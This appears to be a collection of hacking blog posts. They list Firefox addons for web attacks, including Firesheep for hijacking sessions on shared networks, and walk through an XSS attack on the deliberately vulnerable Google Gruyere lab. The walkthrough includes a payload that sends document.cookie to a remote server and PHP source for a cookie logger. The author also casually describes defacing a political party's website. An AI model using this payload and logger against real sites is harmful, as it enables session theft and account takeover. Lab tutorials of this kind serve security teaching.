5 Firefox addons that every hacker should have.

Quite often, a web-hacker’s only friend is little more than a web-browser. But advancement in extensible browsers has lead to a vast array of hacking-related addons being released into the public. In this entry, I will outline what I believe to be the most useful browser-addons that will streamline the entire web-hacking process.

1. Hackbar

This is one of my favourite addons for Firefox. It’s beauty is in it’s simplicity. No overkill with Hackbar, it does what it says on the tin. There’s nothing more agitating to Hector than when you find an injectable site with 78 columns. Who wants to spend needless minutes counting to infinity? With Hackbar, it automates union select statements by allowing you to specify the column count, and it will print all of the columns for you.

Hackbar has a wealth of other useful features. Don’t want to spend time referencing a decimal chart for the char function? Let hackbar convert a string for you. Just pulled the username and password from the DB to find out the password is an MD5 hash? Just tell hackbar – it will submit the HASH to an array of online MD5 -cracking services.

It’s worth noting that Hackbar is not an exploitation tool that will hack for you – You will still be required to find flaws, and injection points – Hackbar just makes the process a little more automated, saving you an abundance of time.

Download link: https://addons.mozilla.org/en-US/firefox/addon/hackbar/

2. Firebug

How often have you been forced to download the source-code of a webpage, with intent of modifying it’s form contents – or javascript injection to try and accomplish the task a little quicker? If you answered “Way too much fecking time Hector!” – then Firebug is for you. Firebug allows you to modify the content of a page (HTML or Javascript) on the fly – enabling you to modify it to your likings. Annoying javascript input validation? Remove it with Firebug! Form not formulated to your likings? Hack it up real nice, with Firebug!

Download link: https://addons.mozilla.org/en-US/firefox/addon/firebug/

3. Firesheep

Firesheep is a new and innovative addon which allows you to hijack HTTP sessions of users sharing the same network. The potential of Firesheep is endless. From internet cafes to poorly encrypted or even open public networks – Firesheep is a real threat to anyone operating outside the comfort of their home networks. It unfortunately is not yet support for Linux.

Download link: http://codebutler.github.com/firesheep/

4. Tamper Data

Tamper Data is an extremely useful addon, that allows you to modify HTTP/HTTPS headers, along with post parameters on the fly. It’s a great way to get an overview of communication between the browser and server and change data to your requirements.

Download link: https://addons.mozilla.org/en-US/firefox/addon/tamper-data/

5. Add ‘n’ Edit Cookies

A lightweight addon that allows you to edit your cookie session quickly and effectively. A useful addition to the web-hacker’s array of addons.


Download link: https://addons.mozilla.org/en-US/firefox/addon/add-n-edit-cookies/


Notable mentions

XSS Me

“XSS-Me is the Exploit-Me tool used to test for reflected Cross-Site Scripting”.

Download link: https://addons.mozilla.org/en-US/firefox/addon/xss-me/

SQL Inject ME

“SQL Inject Me is the Exploit-Me tool used to test for SQL Injection vulnerabilities. ”

Download link: https://addons.mozilla.org/en-US/firefox/addon/sql-inject-me/

Hack le Hector: Volume 1 (Cuid a dó)

In part one of our Hack le Hector series, I introduced Google’s Gruyere platform, and demonstrated how to bypass a primitive XSS-filter to insert live-javascript into the database, producing a textbook javascript alert message. In this second part, I will demonstrate how to take this a little further by hijacking a user’s cookie and storing it in a remote server with some basic PHP scripting.

Using the same invalid HTML trick, we will produce the user’s cookie from their current session by using javascript’s document.cookie property.

When we login with the victim account, we should get an alert message displaying our cookie’s details.

This alone however isn’t much use, as it will only ever display the cookie of the user that’s viewing the page. Therefore, what we need to do is submit the cookie’s values to a script on a remote server, which will log them for the attacker to view. In order to do that, we will have to write a basic script which will take in the required values.

If we are to assume we are passing the following information to the script:

http://server.com/script.php?cookie=”+encodeURI(document.cookie);

<?php

$cookie = $_GET[‘cookie’];

?>

The above script will take the cookie’s value, and store it in a variable called $cookie. This alone obviously serves no inherent use. We will need to expand the script to include more information, such as the referrer and date, along with the cookie – and use PHP’s file-handling ability to write the information to a file. The final script should look like this.

<?php
$cookie = $_GET[‘cookie’];
$ref = $_SERVER[‘HTTP_REFERER’];
$log = “log.txt”;
$date = date(“D, d M Y H:i:s”);

// check if cookie is set
if(ISSET($cookie)){

// open log file in append mode
$fh = fopen($log, ‘a’) or die(“Unable to open file.”);

$data = “\nCookie: ” . $cookie . “\nReferer: ” . $ref . “\nDate: ” . $date . “\n\n”;

// write cookie, referer and date to file
fwrite($fh,   $data);
fclose($fh);
}

else{

// Cookie value is empty, do not write to file.
echo “Cookie not set.”;

}

The next course of action is to actually submit the cookie’s values to this script. To do this, we log back in again as the evil attacker and exploit the weak XSS filtering in the snippet script yet again. There are a number of ways to submit the cookie to our script, but in this particular instance, we will use javascript to process the encoded URI by creating a new image object out of the actual encoded URI. When the server tries to create the image object, it will process the encoded URI – and thus, submit the cookie to our server which will grab it via a GET method.

When the victim logs into their account, it will submit their current cookie for the site to our script. A quick cat of our log-file on our remote server will display the cookie’s details.

And there we have it – the victim’s cookie logged in a log-file, without them knowing anything about it. It’s simple flaws like this in web-applications that should make everyone more aware of the potential flaws that exist on the internet.

Hack le Hector: Volume 1 (Me want cookie?)

In my first series of Hack with Hector, I will discuss using cross-site scripting to get you your very own cookie! If you are thinking food right now, then this entry is probably not for you! But if you have red eyes from staring at a computer monitor for too long, then read on mon frere!

There are a number of solutions out there to provide you with a safe and legal way to understand the field of web-application hacking. Web-goat, mutillidae and Google Gruyere to name but a few. All have their own positives and negatives, but for the purposes of this entry – I’ll discuss cooking-hijacking with Google Gruyere.

The field of web-hacking asks that you at least understanding HTML, basic javascript and a scripting language like PHP. This will make your life all the more easier. If you don’t understand any of these yet, then pop over to tizag immediately and start reading!

With gruyere, you can download the package and host it yourself, or get setup quickly via appspot.com with a hosted version of Gruyere. Gruyere offers the attacker a number of vulnerable scripts to attack. It is a custom-built script, that’s designed to be insecure from the get-go.

In this entry, I will cover exploiting Gruyere’s snippet feature, by using a cross-site scripting attack to retrieve another user’s cookie, and log it remotely in a flat-file. So let’s begin, shall we?

The first thing to do is to create two accounts on your Gruyere installation. I like to call the user’s attacker and victim. Guess who’s the bad guy?

You should notice upon loading Gruyere for the first time, that all user’s snippets are listed on the index page. That is – that when any user creates an entry, it is there for all users to see (and execute!) when they visit the homepage. We will use this to our advantage when we add our very own snippet.

So once we have logged in as the evil-user (attacker), we will immediately want to start examining how the add snippet feature processes it’s posts, and check how well it validates input.

With any XSS attack – It’s always worth testing to see if a script tag is allowed.A simple alert test will usually suffice to test whether or not script tags are allowable. The alert function in javascript produces a popup, displaying a text message.

We can see that Gruyere won’t let any schmuck insert malicious javascript! Oh no, it seeks to strip the tags. It’s worth noting, that many web-applications today don’t perform any sort of validation on data prior to inserting it into a database. This is why it’s always important to start at the foundation and work your way up, instead of trying to throw all sorts of obfuscated javascript at the system from the beginning. Don’t use a sledgehammer to crack an egg, mar a deirtear!

We can see that while alert(‘Hack le Hector!); is certainly stored in the DB, with the script tags are unfortunately removed. Therefore, we need to be a little more cunning.The XSS cheat-sheet over on ha.ckers.org is the bible for XSS-obfuscation and is worth a browse.

After a few minutes of tinkering, I got the alert message to eventually process via an invalid HTML trick. This involves inserting an unclosed tag directly prior to a inserting the script tag.  XSS filters may view the subsequent tags as tag attributes, opposed to being separate entities. However, the actually script tag will be parsed as a tag, rather than a tag attribute, which will result in a successful injection.

And there you have it, live-javascript stored in the database. In the second part of Hack le Hector, I will expand on injecting Gruyere’s snippet page, to insert malicious javascript which will submit a user’s cookie to a script on a remote server, along with the source-code for a simple script which will log it for future use.

LINKS

Webgoat: http://code.google.com/p/webgoat/

Mutillidae: http://www.irongeek.com/i.php?page=security/mutillidae-deliberately-vulnerable-php-owasp-top-10

Gruyere: http://google-gruyere.appspot.com

XSS Cheat Sheet: http://ha.ckers.org/xss.html

Fáilte

Bhuel, agus fáilte go chuig mo bhlag. Is mise Hector Ó Hackatdawn.

I don’t want to spend inordinate amounts of time discussing my defacement of the DUP website. I discussed my motives in detail with numerous media outlets, and you can read all about them here: http://newswhip.ie/national-2/hector-ohackatdawns-surprisingly-thoughtful-and-balanced-manifesto

I do appreciate all the support I have received via mail and over twitter. I think the question regarding the Irish language act has been brought back into the limelight, and that surely is a positive thing. My act was a simple one, and is nothing in comparison to the endless hours Irish language activists put in on a weekly basis promoting the language across the Island.

I don’t wish to use this blog solely as an avenue for discussing political and cultural affairs.  (Yawn!) I’m also a techie. So if you’re interested in computer security and learning how to break things (legally!), then bookmark me!

Sin é.

Hector Ó Hackatdawn